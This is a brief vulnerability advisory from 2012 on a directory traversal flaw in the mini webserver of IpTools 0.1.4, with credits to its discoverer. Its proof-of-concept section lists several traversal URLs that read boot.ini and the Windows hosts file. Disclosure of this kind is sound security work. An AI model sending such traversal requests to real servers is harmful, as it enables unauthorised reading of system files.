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IpTools(Tiny TCP/IP server) - WebServer Directory Traversal Vulnerability



Title: IpTools(Tiny TCP/IP server) - WebServer Directory Traversal Vulnerability

Software : IpTools(Tiny TCP/IP server)

Software Version : 0.1.4

Vendor: http://iptools.sourceforge.net/iptools.html

Class:  Input Validation Error  

CVE:
 
Remote:  Yes  

Local:  No  

Published:  2012-01-06  

Updated:  

Impact : High

Bug Description :
IPtools is a set of small tiny TCP/IP programs includes mini Webserver(Executable file: Thttpd.bat), etc. And its mini webserver does not properly sanitise filenames containing directory traversal sequences that are received from an HTTP Browser.

POC:
http://127.0.0.1/..\..\boot.ini
http://127.0.0.1/../../boot.ini
http://127.0.0.1/..\..\windows\system32\drivers\etc\hosts
http://127.0.0.1/../../windows/system32/drivers/etc/hosts
,etc.

Credits : This vulnerability was discovered by demonalex@xxxxxxx
mail: demonalex@xxxxxxx / ChaoYi.Huang@xxxxxxxxxxxxxxxx
Pentester/Researcher
Dark2S Security Team/PolyU.HK